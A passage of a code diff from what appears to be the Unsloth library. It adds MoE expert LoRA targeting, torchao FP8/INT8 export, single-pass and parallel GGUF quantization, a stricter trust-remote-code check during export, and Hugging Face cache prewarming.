+        # list (explicit) or a regex string (auto / all-linear / scoped). No-op otherwise.
+        _moe_module_detect = _select_moe_detection_targets(
+            _moe_detect_target,
+            target_modules,
+            finetune_mlp_modules = finetune_mlp_modules,
+            finetune_language_layers = finetune_language_layers,
+        )
+        _moe_module_targets = get_moe_target_modules(model, _moe_module_detect)
+        if _moe_module_targets:
+            if isinstance(target_modules, (list, tuple)):
+                target_modules = list(target_modules) + [
+                    target for target in _moe_module_targets if target not in target_modules
+                ]
+            elif isinstance(target_modules, str):
+                _expert_leaves = sorted({t.rsplit(".", 1)[0] for t in _moe_module_targets})
+                _expert_alt = (
+                    r".*\.experts\.(?:"
+                    + "|".join(re.escape(leaf) for leaf in _expert_leaves)
+                    + r")\.\d+"
+                )
+                target_modules = f"(?:{target_modules})|(?:{_expert_alt})"
+            print(
+                f"Unsloth: Detected MoE model with per-expert Linear experts. "
+                f"Enabling LoRA on {len(_moe_module_targets)} expert projection modules."
+            )
+            warn_if_zoo_cannot_merge_moe_experts()
 
         if finetune_last_n_layers is not None and layers_to_transform is None:
             _total_layers = _get_total_transformer_layers(model)
@@ -1873,6 +2014,11 @@ class FastBaseModel:
             float32_mixed_precision = float32_mixed_precision,
             patch_modules_to_save = True,
         )
+        # Persist the configured GC mode so the trainer restores it verbatim.
+        # for_inference() clears the module flags (GRPO does this every generation
+        # step), and a plain TrainingArguments defaults gradient_checkpointing=False,
+        # which would otherwise silently disable this setting at train time (#4735).
+        model._unsloth_gradient_checkpointing = use_gradient_checkpointing
 
         # Gemma3N audio conformer processes variable-length audio tensors
         # that cause stride mismatches in AOT autograd compiled backward
@@ -2202,3 +2348,16 @@ def check_dataset_for_missing_videos(
         warnings.warn(error_msg, stacklevel = 2)
 
     return missing
+
+
+# Auto-enable grouped-GEMM MoE (transformers<5 ModuleList experts); see llama.py.
+try:
+    from unsloth_zoo.temporary_patches.moe_grouped_modulelist import wrap_loader_for_grouped_moe
+    FastBaseModel.from_pretrained = staticmethod(
+        wrap_loader_for_grouped_moe(FastBaseModel.from_pretrained)
+    )
+    FastBaseModel.get_peft_model = staticmethod(
+        wrap_loader_for_grouped_moe(FastBaseModel.get_peft_model)
+    )
+except Exception:
+    pass
diff --git a/unsloth/save.py b/unsloth/save.py
index dfa91fe9a2..e5190765e1 100644
--- a/unsloth/save.py
+++ b/unsloth/save.py
@@ -205,6 +205,67 @@ COMPRESSED_EXPORT_SCHEMES = {
 }
 
 
+# torchao "portable" quant export: device-agnostic FP8 / INT8, no NVIDIA GPU needed.
+# alias -> (kind, sibling suffix). FP8 saves to safetensors, INT8 to .bin; both load in vLLM.
+TORCHAO_EXPORT_SCHEMES = {
+    "torchao_fp8": ("fp8", "torchao-fp8"),
+    "torchao_int8": ("int8", "torchao-int8"),
+    "portable_fp8": ("fp8", "torchao-fp8"),
+    "portable_int8": ("int8", "torchao-int8"),
+}
+
+
+def _normalize_torchao_method(save_method):
+    """Return (kind, suffix) if `save_method` is a torchao portable FP8/INT8 export, else None."""
+    if not isinstance(save_method, str):
+        return None
+    key = save_method.lower().strip().replace("-", "_").replace(" ", "_")
+    return TORCHAO_EXPORT_SCHEMES.get(key)
+
+
+def _loaded_via_remote_code(obj):
+    """True if `obj`'s class comes from downloaded custom code (an auto_map module).
+
+    Transformers loads auto_map code into the ``transformers_modules`` package, so a
+    ``transformers_modules`` class proves the original load actually ran that remote code
+    (which the caller's / Studio's consent gate scans at load time). Export paths derive their
+    reload trust_remote_code from this - the already approved load decision - instead of from a
+    checkpoint's static ``auto_map``: a model that loads with built-in classes must not have its
+    unvetted remote code run when it is re-read during quantization export. Walks PEFT / wrapper
+    layers so a LoRA over a custom-code base is still detected, and processor components so a
+    custom tokenizer held inside a built-in processor keeps its approved trust.
+    """
+    seen = set()
+    queue = [obj]
+    while queue and len(seen) < 16:
+        node = queue.pop(0)
+        if node is None or id(node) in seen:
+            continue
+        seen.add(id(node))
+        # __module__ can be None/absent on some dynamically created or C-extension classes;
+        # treat anything non-string as "not remote code" rather than crashing the export.
+        module = getattr(type(node), "__module__", None)
+        if isinstance(module, str) and module.startswith("transformers_modules"):
+            return True
+        if hasattr(node, "get_base_model"):
+            try:
+                queue.append(node.get_base_model())
+            except Exception:
+                pass
+        # PEFT / trainer wrappers hold the real model in base_model / model; a built-in
+        # ProcessorMixin holds its (possibly custom-code) components as attributes.
+        for attr in (
+            "base_model",
+            "model",
+            "tokenizer",
+            "image_processor",
+            "feature_extractor",
+            "video_processor",
+        ):
+            queue.append(getattr(node, attr, None))
+    return False
+
+
 def _normalize_compressed_method(save_method):
     """Return (scheme, needs_calibration, suffix) if `save_method` is an FP8/FP4 compressed
     export, else None (so normal lora / merged_16bit / merged_4bit handling proceeds).
@@ -215,6 +276,9 @@ def _normalize_compressed_method(save_method):
     if not isinstance(save_method, str):
         return None
     key = save_method.lower().strip().replace("-", "_").replace(" ", "_")
+    # torchao aliases route to the torchao path, so skip them before the "fp8" near-miss check.
+    if key in TORCHAO_EXPORT_SCHEMES:
+        return None
     if key in COMPRESSED_EXPORT_SCHEMES:
         return COMPRESSED_EXPORT_SCHEMES[key]
     if any(tag in key for tag in ("fp8", "fp4", "mxfp", "nvfp", "w4a", "w8a", "int4", "int8")):
@@ -1368,6 +1432,53 @@ def install_python_non_blocking(packages = []):
 # bump deliberately. Floor 0.6.0 keeps torch>=2.4 resolvable (0.7+ need torch>=2.7; torch pinned below).
 _LLM_COMPRESSOR_SPEC = "llmcompressor>=0.6.0,<=0.12.0"
 
+# Highest transformers release llm-compressor 0.10.x/0.12.x can run against (its metadata pins
+# transformers<=4.57.6). Models that require a newer-transformers sidecar (e.g. Qwen3.5 needs
+# transformers 5.3.0) cannot be quantized by llm-compressor at all: it imports
+# transformers.modeling_utils.TORCH_INIT_FUNCTIONS, which was removed in transformers 5.x, so the
+# compressed-export subprocess dies with a cryptic ImportError AFTER the expensive 16bit merge.
+# Detect that up front and fail fast with an actionable message. Bump this in lockstep with a
+# llm-compressor release that supports newer transformers.
+_LLM_COMPRESSOR_MAX_TRANSFORMERS = "4.57.6"
+
+
+def _transformers_exceeds_llm_compressor_ceiling(transformers_version = None):
+    """Return (exceeds, active_version) comparing the active transformers to the llm-compressor ceiling.
+
+    `exceeds` is True only when we can parse both versions and the active transformers is strictly
+    newer than `_LLM_COMPRESSOR_MAX_TRANSFORMERS`. Any parse failure returns False (fail open) so a
+    real quantization attempt still surfaces the underlying error rather than a false positive.
+    """
+    if transformers_version is None:
+        try:
+            import transformers as _tf
+            transformers_version = _tf.__version__
+        except Exception:
+            return False, "unknown"
+    try:
+        from packaging.version import parse as _parse
+
+        # Drop any local build suffix ("4.57.6+abc") so it does not skew the comparison.
+        active = _parse(str(transformers_version).split("+", 1)[0])
+        ceiling = _parse(_LLM_COMPRESSOR_MAX_TRANSFORMERS)
+        return active > ceiling, str(transformers_version)
+    except Exception:
+        return False, str(transformers_version)
+
+
+# A caller (e.g. Unsloth Studio) can enable FP8/FP4 export of newer-transformers models (Qwen3.5,
+# Gemma-4, ...) by provisioning a dedicated llm-compressor-main "shadow" (transformers>=5.9 layered
+# over the existing torch) and pointing us at its sys.path entry via this env var. When set, the
+# quantization subprocess uses it instead of the workspace llm-compressor and the ceiling fail-fast
+# is bypassed.
+_COMPRESSED_QUANTIZE_PYTHONPATH_ENV = "UNSLOTH_COMPRESSED_QUANTIZE_PYTHONPATH"
+
+
+def _compressed_quantize_pythonpath():
+    """Return the llm-compressor-main shadow PYTHONPATH, or None if not set."""
+    pp = os.environ.get(_COMPRESSED_QUANTIZE_PYTHONPATH_ENV, "").strip()
+    return pp or None
+
 
 def install_llm_compressor():
     """Import llm-compressor, installing it on first use for FP8/FP4 export.
@@ -1623,6 +1734,33 @@ def get_executable(executables):
     return None
 
 
+# Output types convert_hf_to_gguf.py can emit directly via --outtype.
+_DIRECT_CONVERT_OUTTYPES = ("f32", "f16", "bf16", "q8_0")
+
+
+def _choose_first_conversion(
+    quantization_methods,
+    model_dtype,
+    has_imatrix = False,
+):
+    """Pick the dtype of the initial HF -> GGUF conversion.
+
+    Single-pass fast path: when exactly one output type is requested and
+    convert_hf_to_gguf.py can emit it directly (f32/f16/bf16/q8_0), convert straight to
+    it - the llama-quantize pass and the 16-bit intermediate file are skipped entirely.
+    An imatrix forces the two-pass route since only llama-quantize can apply one.
+
+    Every other case converts to the source dtype first, so each requested method is
+    quantized from weights identical to the checkpoint's.
+    """
+    unique_methods = set(quantization_methods)
+    if len(unique_methods) == 1 and not has_imatrix:
+        only_method = next(iter(unique_methods))
+        if only_method in _DIRECT_CONVERT_OUTTYPES:
+            return only_method
+    return model_dtype
+
+
 def save_to_gguf(
     model_name: str,
     model_type: str,
@@ -1671,10 +1809,6 @@ def save_to_gguf(
         )
         model_dtype = "f16"
 
-    # Check first_conversion as well
-    if first_conversion is None:
-        first_conversion = model_dtype
-
     has_imatrix = imatrix is not None and str(imatrix) != ""
     if has_imatrix:
         # quantize_gguf gained the imatrix kwarg in a recent unsloth_zoo; fail fast (before the
@@ -1723,32 +1857,12 @@ def save_to_gguf(
         first_conversion = "None"  # No quantization for GPT-OSS
         # Only keep one conversion method since GPT-OSS doesn't quantize
         quantization_method = ["None"]
-    else:
-        if first_conversion is None:
-            # Check if q8_0 is the ONLY quantization method requested
-            if len(quantization_method) == 1 and quantization_method[0] == "q8_0":
-                first_conversion = "None"  # Let llama-quantize do the direct conversion
-            else:
-                # For all other cases, choose the highest precision format
-                # that can be requantized to all requested formats
-                strength = 0
-                for quant_method in quantization_method:
-                    if quant_method == "f32":
-                        strength = max(strength, 3)
-                    elif quant_method == "f16":
-                        strength = max(strength, 2)
-                    elif quant_method == "bf16":
-                        strength = max(strength, 1)
-                    # Note: we don't set strength for q8_0 here since we handle it above
-
-                if strength >= 3:
-                    first_conversion = "f32"
-                elif strength >= 2:
-                    first_conversion = "f16"
-                elif strength >= 1:
-                    first_conversion = "bf16"
-                else:
-                    first_conversion = "bf16"  # requantizing from q8_0 disallowed in new llama.cpp default to bf16.
+    elif first_conversion is None:
+        first_conversion = _choose_first_conversion(
+            quantization_method,
+            model_dtype,
+            has_imatrix = has_imatrix,
+        )
 
     # Check bfloat16 support again for first_conversion
     if first_conversion == "bf16" and not torch.cuda.is_bf16_supported():
@@ -1757,12 +1871,19 @@ def save_to_gguf(
 
     first_conversion_dtype = "" if first_conversion == "None" else first_conversion
     # Print conversion info
+    needs_quantize_pass = any(m != first_conversion for m in quantization_method)
+    if needs_quantize_pass:
+        second_step = f"[2] Converting GGUF {first_conversion_dtype} to {quantization_method} might take 10 minutes each."
+        total_line = "In total, you will have to wait at least 16 minutes."
+    else:
+        second_step = f"[2] Single-pass export: converting straight to {quantization_method} - no separate quantize step."
+        total_line = "In total, you will have to wait at least 6 minutes."
     print_info = (
         f"==((====))==  Unsloth: Conversion from HF to GGUF information\n"
         f"   {chr(92)}{chr(92)}   /|    [0] Installing llama.cpp might take 3 minutes.\n"
         f"O^O/ {chr(92)}_/ {chr(92)}    [1] Converting HF to GGUF {first_conversion_dtype} might take 3 minutes.\n"
-        f"{chr(92)}        /    [2] Converting GGUF {first_conversion_dtype} to {quantization_method} might take 10 minutes each.\n"
-        f' "-____-"     In total, you will have to wait at least 16 minutes.\n'
+        f"{chr(92)}        /    {second_step}\n"
+        f' "-____-"     {total_line}\n'
     )
     print(print_info)
 
@@ -1848,75 +1969,154 @@ def save_to_gguf(
 
     if not is_gpt_oss:
         base_gguf = initial_files[0]
-        quants_created = False
-        for quant_method in quantization_method:
-            if quant_method != first_conversion:
+
+        # Deduplicate while keeping order; methods equal to the base conversion already
+        # exist on disk and need no quantize pass.
+        methods_to_quantize = [
+            m for m in dict.fromkeys(quantization_method) if m != first_conversion
+        ]
+
+        def _quantize_one(quant_method, n_threads = None):
+            output_location = os.path.join(
+                gguf_directory, f"{model_name}.{quant_method.upper()}.gguf"
+            )
+            try:
+                if quant_method == "q2_k_l":
+                    return _quantize_q2_k_l(
+                        input_gguf = base_gguf,
+                        output_gguf = output_location,
+                        quantizer_location = quantizer_location,
+                        n_threads = n_threads if n_threads is not None else n_cpus,
+                        print_output = print_output,
+                        imatrix = imatrix,
+                    )
+                else:
+                    # Use unsloth-zoo's standard quantization for all other methods. Only pass
+                    # imatrix when set so older unsloth_zoo (no imatrix kwarg) still works for
+                    # plain quants; an imatrix that cannot be applied was rejected above.
+                    quant_kwargs = dict(
+                        input_gguf = base_gguf,
+                        output_gguf = output_location,
+                        quant_type = quant_method,
+                        quantizer_location = quantizer_location,
+                        print_output = print_output,
+                    )
+                    if has_imatrix:
+                        quant_kwargs["imatrix"] = imatrix
+                    if n_threads is not None:
+                        quant_kwargs["n_threads"] = n_threads
+                    return quantize_gguf(**quant_kwargs)
+            except Exception as e:
+                if IS_KAGGLE_ENVIRONMENT:
+                    raise RuntimeError(
+                        f"Unsloth: Quantization failed for {output_location}\n"
+                        "You are in a Kaggle environment, which might be the reason this is failing.\n"
+                        "Kaggle only provides 20GB of disk space in the working directory.\n"
+                        "Merging to 16bit for 7b models use 16GB of space.\n"
+                        "This means using `model.{save_pretrained/push_to_hub}_merged` works, but\n"
+                        "`model.{save_pretrained/push_to_hub}_gguf will use too much disk space.\n"
+                        "You can try saving it to the `/tmp` directory for larger disk space.\n"
+                        "I suggest you to save the 16bit model first, then use manual llama.cpp conversion.\n"
+                        f"Error: {e}"
+                    )
+                else:
+                    if IS_WINDOWS:
+                        build_instructions = (
+                            f'cd "{LLAMA_CPP_DEFAULT_DIR}"\n'
+                            f"cmake -S . -B build -DBUILD_SHARED_LIBS=OFF\n"
+                            f"cmake --build build --config Release"
+                        )
+                    else:
+                        build_instructions = (
+                            f'cd "{LLAMA_CPP_DEFAULT_DIR}" && make clean && make all -j'
+                        )
+
+                    raise RuntimeError(
+                        f"Unsloth: Quantization failed for {output_location}\n"
+                        "You might have to compile llama.cpp yourself, then run this again.\n"
+                        "You do not need to close this Python program. Run the following commands in a new terminal:\n"
+                        f'git clone --recursive https://github.com/ggerganov/llama.cpp "{LLAMA_CPP_DEFAULT_DIR}"\n'
+                        f"{build_instructions}\n"
+                        "Once that's done, redo the quantization.\n"
+                        f"Error: {e}"
+                    )
+
+        # Outputs already on disk pre-date this run; never delete them on a failure.
+        preexisting_outputs = {
+            m
+            for m in methods_to_quantize
+            if os.path.exists(os.path.join(gguf_directory, f"{model_name}.{m.upper()}.gguf"))
+        }
+        # Each llama-quantize pass loads the whole base GGUF into RAM, so only run two at
+        # once when the host has headroom for two copies, else a multi-quant export that
+        # fit sequentially could OOM.
+        try:
+            base_bytes = sum(
+                os.path.getsize(f)
+                for f in initial_files
+                if "-mmproj" not in os.path.basename(f).lower()
+            )
+            mem_ok = psutil.virtual_memory().available >= int(2.5 * base_bytes)
+        except Exception:
+            mem_ok = False
+        # Independent llama-quantize runs on the same base GGUF can overlap. Kept at 2
+        # workers; run sequentially when streaming logs (UNSLOTH_ENABLE_LOGGING), on
+        # Kaggle/Colab, when RAM is tight, or when the kill switch (0/false/no/off/empty)
+        # is set.
+        _parallel_flag = os.environ.get("UNSLOTH_PARALLEL_GGUF_QUANTS", "1").strip().lower()
+        parallel_quants = (
+            len(methods_to_quantize) > 1
+            and not print_output
+            and not IS_KAGGLE_ENVIRONMENT
+            and not IS_COLAB_ENVIRONMENT
+            and mem_ok
+            and _parallel_flag not in ("0", "false", "no", "off", "")
+        )
+        if parallel_quants:
+            max_workers = min(2, len(methods_to_quantize))
+            # Split the thread budget so total threads match the sequential run.
+            per_worker_threads = max(1, n_cpus // max_workers)
+            print(
+                f"Unsloth: [2] Converting GGUF {first_conversion_dtype} into "
+                f"{methods_to_quantize}, {max_workers} at a time. This might take 10 minutes each..."
+            )
+            from concurrent.futures import ThreadPoolExecutor, wait, FIRST_EXCEPTION
+
+            quantized_files = [None] * len(methods_to_quantize)
+            with ThreadPoolExecutor(max_workers = max_workers) as pool:
+                future_to_idx = {
+                    pool.submit(_quantize_one, method, per_worker_threads): i
+                    for i, method in enumerate(methods_to_quantize)
+                }
+                done, pending = wait(future_to_idx, return_when = FIRST_EXCEPTION)
+                # Do not start queued passes after a failure (avoid filling the disk).
+                for fut in pending:
+                    fut.cancel()
+                first_exc = next((f.exception() for f in done if f.exception() is not None), None)
+                if first_exc is not None:
+                    # Remove only outputs this run newly created; a file that pre-dated the
+                    # run (or a canceled pass that never wrote) is left intact, so a rerun
+                    # never deletes a prior artifact. Base kept for retry.
+                    wait(future_to_idx)
+                    for method in methods_to_quantize:
+                        if method in preexisting_outputs:
+                            continue
+                        Path(
+                            os.path.join(gguf_directory, f"{model_name}.{method.upper()}.gguf")
+                        ).unlink(missing_ok = True)
+                    raise first_exc
+                for fut, i in future_to_idx.items():
+                    quantized_files[i] = fut.result()
+        else:
+            quantized_files = []
+            for quant_method in methods_to_quantize:
                 print(
                     f"Unsloth: [2] Converting GGUF {first_conversion_dtype} into {quant_method}. This might take 10 minutes..."
                 )
-                output_location = os.path.join(
-                    gguf_directory, f"{model_name}.{quant_method.upper()}.gguf"
-                )
-                try:
-                    if quant_method == "q2_k_l":
-                        quantized_file = _quantize_q2_k_l(
-                            input_gguf = base_gguf,
-                            output_gguf = output_location,
-                            quantizer_location = quantizer_location,
-                            n_threads = n_cpus,
-                            print_output = print_output,
-                            imatrix = imatrix,
-                        )
-                    else:
-                        # Use unsloth-zoo's standard quantization for all other methods. Only pass
-                        # imatrix when set so older unsloth_zoo (no imatrix kwarg) still works for
-                        # plain quants; an imatrix that cannot be applied was rejected above.
-                        quant_kwargs = dict(
-                            input_gguf = base_gguf,
-                            output_gguf = output_location,
-                            quant_type = quant_method,
-                            quantizer_location = quantizer_location,
-                            print_output = print_output,
-                        )
-                        if has_imatrix:
-                            quant_kwargs["imatrix"] = imatrix
-                        quantized_file = quantize_gguf(**quant_kwargs)
-                    all_saved_locations.append(quantized_file)
-                    quants_created = True
-                except Exception as e:
-                    if IS_KAGGLE_ENVIRONMENT:
-                        raise RuntimeError(
-                            f"Unsloth: Quantization failed for {output_location}\n"
-                            "You are in a Kaggle environment, which might be the reason this is failing.\n"
-                            "Kaggle only provides 20GB of disk space in the working directory.\n"
-                            "Merging to 16bit for 7b models use 16GB of space.\n"
-                            "This means using `model.{save_pretrained/push_to_hub}_merged` works, but\n"
-                            "`model.{save_pretrained/push_to_hub}_gguf will use too much disk space.\n"
-                            "You can try saving it to the `/tmp` directory for larger disk space.\n"
-                            "I suggest you to save the 16bit model first, then use manual llama.cpp conversion.\n"
-                            f"Error: {e}"
-                        )
-                    else:
-                        if IS_WINDOWS:
-                            build_instructions = (
-                                f'cd "{LLAMA_CPP_DEFAULT_DIR}"\n'
-                                f"cmake -S . -B build -DBUILD_SHARED_LIBS=OFF\n"
-                                f"cmake --build build --config Release"
-                            )
-                        else:
-                            build_instructions = (
-                                f'cd "{LLAMA_CPP_DEFAULT_DIR}" && make clean && make all -j'
-                            )
+                quantized_files.append(_quantize_one(quant_method))
 
-                        raise RuntimeError(
-                            f"Unsloth: Quantization failed for {output_location}\n"
-                            "You might have to compile llama.cpp yourself, then run this again.\n"
-                            "You do not need to close this Python program. Run the following commands in a new terminal:\n"
-                            f'git clone --recursive https://github.com/ggerganov/llama.cpp "{LLAMA_CPP_DEFAULT_DIR}"\n'
-                            f"{build_instructions}\n"
-                            "Once that's done, redo the quantization.\n"
-                            f"Error: {e}"
-                        )
+        all_saved_locations.extend(quantized_files)
+        quants_created = len(quantized_files) > 0
         print("Unsloth: Model files cleanup...")
         want_full_precision = first_conversion in quantization_method
         if quants_created:
@@ -2023,10 +2223,40 @@ def unsloth_save_pretrained_merged(
             gc.collect()
         return
 
+    # torchao portable FP8/INT8 export (no NVIDIA GPU) -> separate path.
+    _torchao = _normalize_torchao_method(save_method)
+    if _torchao is not None:
+        kind, suffix = _torchao
+        _unsloth_save_torchao(
+            model = self,
+            save_directory = save_directory,
+            tokenizer = tokenizer,
+            kind = kind,
+            suffix = suffix,
+            push_to_hub = push_to_hub,
+            token = token,
+            is_main_process = is_main_process,
+            # Forward standard save kwargs to the 16bit merge.
+            state_dict = state_dict,
+            save_function = save_function,
+            max_shard_size = max_shard_size,
+            safe_serialization = safe_serialization,
+            variant = variant,
+            save_peft_format = save_peft_format,
+            tags = tags,
+            temporary_location = temporary_location,
+            maximum_memory_usage = maximum_memory_usage,
+            datasets = datasets,
+        )
+        for _ in range(3):
+            gc.collect()
+        return
+
     arguments = dict(locals())
     arguments["model"] = self
     del arguments["self"]
     del arguments["_compressed"]
+    del arguments["_torchao"]
     del arguments["calibration_dataset"]
     del arguments["num_calibration_samples"]
     del arguments["max_seq_length"]
@@ -2107,6 +2337,37 @@ def unsloth_push_to_hub_merged(
             gc.collect()
         return
 
+    # torchao portable FP8/INT8 export (no NVIDIA GPU) -> separate path.
+    _torchao = _normalize_torchao_method(save_method)
+    if _torchao is not None:
+        kind, suffix = _torchao
+        _unsloth_save_torchao(
+            model = self,
+            save_directory = repo_id,
+            tokenizer = tokenizer,
+            kind = kind,
+            suffix = suffix,
+            push_to_hub = True,
+            token = token,
+            is_main_process = True,
+            private = private,
+            commit_message = commit_message,
+            commit_description = commit_description,
+            create_pr = create_pr,
+            revision = revision,
+            # Forward standard save kwargs to the 16bit merge.
+            use_temp_dir = use_temp_dir,
+            max_shard_size = max_shard_size,
+            safe_serialization = safe_serialization,
+            tags = tags,
+            temporary_location = temporary_location,
+            maximum_memory_usage = maximum_memory_usage,
+            datasets = datasets,
+        )
+        for _ in range(3):
+            gc.collect()
+        return
+
     arguments = dict(locals())
     arguments["model"] = self
     arguments["save_directory"] = repo_id
@@ -2114,6 +2375,7 @@ def unsloth_push_to_hub_merged(
     del arguments["self"]
     del arguments["repo_id"]
     del arguments["_compressed"]
+    del arguments["_torchao"]
     del arguments["calibration_dataset"]
     del arguments["num_calibration_samples"]
     del arguments["max_seq_length"]
@@ -2753,15 +3015,16 @@ def unsloth_save_pretrained_gguf(
                 "Unsloth: quantization_method can only be a string or a list of strings"
             )
         for i, quant_method in enumerate(quantization_method):
-            quant_method = quant_method.lower()
+            if quant_method is None:
+                quant_method = "q8_0"
+            else:
+                quant_method = quant_method.lower()
             if quant_method == "not_quantized":
                 quant_method = "f16"
             elif quant_method == "fast_quantized":
                 quant_method = "q8_0"
             elif quant_method == "quantized":
                 quant_method = "q4_k_m"
-            elif quant_method is None:
-                quant_method = "q8_0"
             quantization_methods.append(quant_method.lower())
 
     try:
@@ -2880,6 +3143,7 @@ def unsloth_push_to_hub_gguf(
     datasets: Optional[List[str]] = None,
     save_method: str = None,
     imatrix_file = None,
+    is_main_process: bool = True,
 ):
     """
     Same as .push_to_hub(...) except 4bit weights are auto
@@ -2912,11 +3176,11 @@ def unsloth_push_to_hub_gguf(
     """
     if tokenizer is None:
         raise ValueError("Unsloth: Saving to GGUF must have a tokenizer.")
+    if not is_main_process:
+        return None
 
     # save_method="lora" exports the adapter itself as a GGUF LoRA (not a merged model).
     if save_method is not None and str(save_method).lower() == "lora":
-        if not is_main_process:
-            return None  # only the main rank converts and uploads, like the local lora branch
         _qm = quantization_method
         if isinstance(_qm, (list, tuple)) and len(_qm) == 1:
             _qm = _qm[0]  # the gguf API allows a list; unwrap a single outtype
@@ -2970,6 +3234,7 @@ def unsloth_push_to_hub_gguf(
             first_conversion = first_conversion,
             push_to_hub = False,  # Never push from here
             token = token,  # forwarded so imatrix_file=True can read a gated/private upstream
+            is_main_process = is_main_process,
             max_shard_size = max_shard_size,
             safe_serialization = safe_serialization,
             temporary_location = temporary_location,
@@ -3402,7 +3667,9 @@ def _unsloth_save_lora_gguf(
             cmd += ["--base", base_model_id]
         else:
             cmd += ["--base-model-id", base_model_id]
-        if bool(getattr(model.config, "auto_map", None)):
+        # Only pass --trust-remote-code when the loaded model actually came from custom code (the
+        # approved load decision), not merely because its config carries an auto_map entry.
+        if _loaded_via_remote_code(model):
             cmd.append("--trust-remote-code")
 
         # Expose the token to the converter so it can fetch a gated/private base config from the Hub.
@@ -3517,6 +3784,182 @@ from unsloth_zoo.llama_cpp import (
 )
 
 
+def _prewarm_base_model_hub_cache(
+    model,
+    save_method = "merged_16bit",
+    token = None,
+):
+    """Download the 16-bit base weights into the persistent HF hub cache before the merge.
+
+    merge_and_overwrite_lora fetches missing shards with hf_hub_download(local_dir = ...),
+    which never populates the hub cache. When the merge directory is temporary (GGUF
+    checkpoint exports delete it after conversion), every export re-downloads the full
+    base model (#6890). Pre-warming the cache makes the first export download once and
+    later exports copy from the cache. Best-effort: any failure or skip falls back to
+    the streaming download. Disable with UNSLOTH_PREWARM_HUB_CACHE=0.
+    """
+    _false = ("0", "false", "no", "off")
+    if os.environ.get("UNSLOTH_PREWARM_HUB_CACHE", "1").strip().lower() in _false:
+        return
+    if IS_KAGGLE_ENVIRONMENT or IS_COLAB_ENVIRONMENT:
+        return
+    _true = ("1", "true", "yes", "on")
+    if (
+        os.environ.get("HF_HUB_OFFLINE", "").strip().lower() in _true
+        or os.environ.get("TRANSFORMERS_OFFLINE", "").strip().lower() in _true
+    ):
+        return
+    # Only the 16bit / mxfp4 merges download the base model; merged_4bit and lora do not.
+    if save_method not in ("merged_16bit", "mxfp4"):
+        return
+    if not isinstance(model, PeftModel):
+        return
+
+    try:
+        # getattr so a model without a config / _name_or_path skips instead of raising.
+        name_or_path = getattr(getattr(model, "config", None), "_name_or_path", None)
+        if not name_or_path:
+            return
+        try:
+            model_name = get_model_name(name_or_path, load_in_4bit = False)
+        except Exception:
+            model_name = name_or_path
+        if not model_name or os.path.isdir(model_name):
+            return  # local checkpoints are copied, never downloaded
+
+        # The merge may swap a gpt-oss "-BF16" repo for its MXFP4 variant, so skip it.
+        if save_method == "mxfp4" and model_name.endswith("-BF16"):
+            return
+
+        from unsloth_zoo.saving_utils import determine_base_model_source
+
+        model_name, is_local_path, _, base_is_quantized, quant_type = determine_base_model_source(
+            model_name, token
+        )
+        if not model_name or is_local_path:
+            return
+        # Mirror the merge: an FP8 base with a 16bit sibling merges onto the sibling, so
+        # pre-warm the sibling (what the merge downloads), not the FP8 repo (#6890).
+        if base_is_quantized and quant_type == "fp8" and save_method == "merged_16bit":
+            try:
+                from unsloth_zoo.saving_utils import _resolve_fp8_16bit_sibling
+                sibling = _resolve_fp8_16bit_sibling(model_name, token)
+            except Exception:
+                sibling = None
+            if sibling:
+                model_name, is_local_path, _, base_is_quantized, quant_type = (
+                    determine_base_model_source(sibling, token)
+                )
+                if not model_name or is_local_path:
+                    return
+        if base_is_quantized and quant_type in ("nf4", "fp4"):
+            return  # the 16bit merge refuses these bases; nothing worth caching
+
+        from huggingface_hub import HfFileSystem, hf_hub_download, snapshot_download
+
+        # Resolve the cache from the live env like the merge, not huggingface_hub's frozen
+        # constants: a runtime cache redirect (read-only default, Studio) would else miss (#6890).
+        try:
+            from unsloth_zoo.hf_cache import _active_caches
+            _hub_cache = _active_caches()[1]
+            hub_cache_dir = str(_hub_cache) if _hub_cache is not None else None
+        except Exception:
+            hub_cache_dir = None
+
+        # Mirror the zoo's shard listing (drop consolidated.safetensors when proper
+        # shards coexist) so the cached set is a superset of what the merge looks up.
+        shard_names = []
+        total_size_in_bytes = 0
+        for x in HfFileSystem(token = token).ls(model_name, detail = True):
+            if x["name"].endswith(".safetensors"):
+                shard_names.append((os.path.split(x["name"])[-1], int(x.get("size") or 0)))
+        if any(name != "consolidated.safetensors" for name, _ in shard_names):
+            shard_names = [x for x in shard_names if x[0] != "consolidated.safetensors"]
+        if not shard_names:
+            return
+
+        try:
+            for filename, _ in shard_names:
+                hf_hub_download(
+                    repo_id = model_name,
+                    filename = filename,
+                    cache_dir = hub_cache_dir,
+                    local_files_only = True,
+                    token = token,
+                )
+            return  # already fully cached
+        except Exception:
+            pass
+
+        # Mirror the merge's index filter (download path only): some repos ship leftover shards
+        # the index omits; keep only indexed ones, else the disk gate over-counts and we fetch
+        # unused shards.
+        if len(shard_names) > 1:
+            try:
+                import json as _json
+
+                _idx = hf_hub_download(
+                    repo_id = model_name,
+                    filename = "model.safetensors.index.json",
+                    cache_dir = hub_cache_dir,
+                    token = token,
+                )
+                with open(_idx, encoding = "utf-8") as _f:
+                    _indexed = {
+                        os.path.split(v)[-1] for v in _json.load(_f).get("weight_map", {}).values()
+                    }
+                if _indexed and not {n for n, _ in shard_names}.issubset(_indexed):
+                    _kept = [x for x in shard_names if x[0] in _indexed]
+                    if _kept:
+                        shard_names = _kept
+            except Exception:
+                pass
+        total_size_in_bytes = sum(size for _, size in shard_names)
+
+        # The cache copy is extra disk on top of the merge working copy; need room for both.
+        from huggingface_hub import constants as _hf_constants
+
+        # abspath so a relative HF_HUB_CACHE walks up to an existing root, not "".
+        cache_probe = os.path.abspath(
+            os.path.expanduser(str(hub_cache_dir or _hf_constants.HF_HUB_CACHE))
+        )
+        while cache_probe and not os.path.exists(cache_probe):
+            parent = os.path.dirname(cache_probe)
+            if parent == cache_probe:
+                break
+            cache_probe = parent
+        free_space = shutil.disk_usage(cache_probe).free if os.path.exists(cache_probe) else 0
+        if free_space < 2 * total_size_in_bytes:
+            print(
+                f"Unsloth: Not enough free disk to keep `{model_name}` in the Hugging Face "
+                f"cache (need ~{round(2 * total_size_in_bytes / 1024**3, 1)}GB free, have "
+                f"{round(free_space / 1024**3, 1)}GB). Downloading straight to the merge "
+                f"directory instead; the next export will re-download it."
+            )
+            return
+
+        if total_size_in_bytes >= 0.1 * 1024**3:
+            size_str = f"{round(total_size_in_bytes / 1024**3, 1)}GB"
+        else:
+            size_str = f"{max(1, round(total_size_in_bytes / 1024**2))}MB"
+        print(
+            f"Unsloth: Downloading `{model_name}` into the Hugging Face cache so future "
+            f"exports skip the {size_str} download..."
+        )
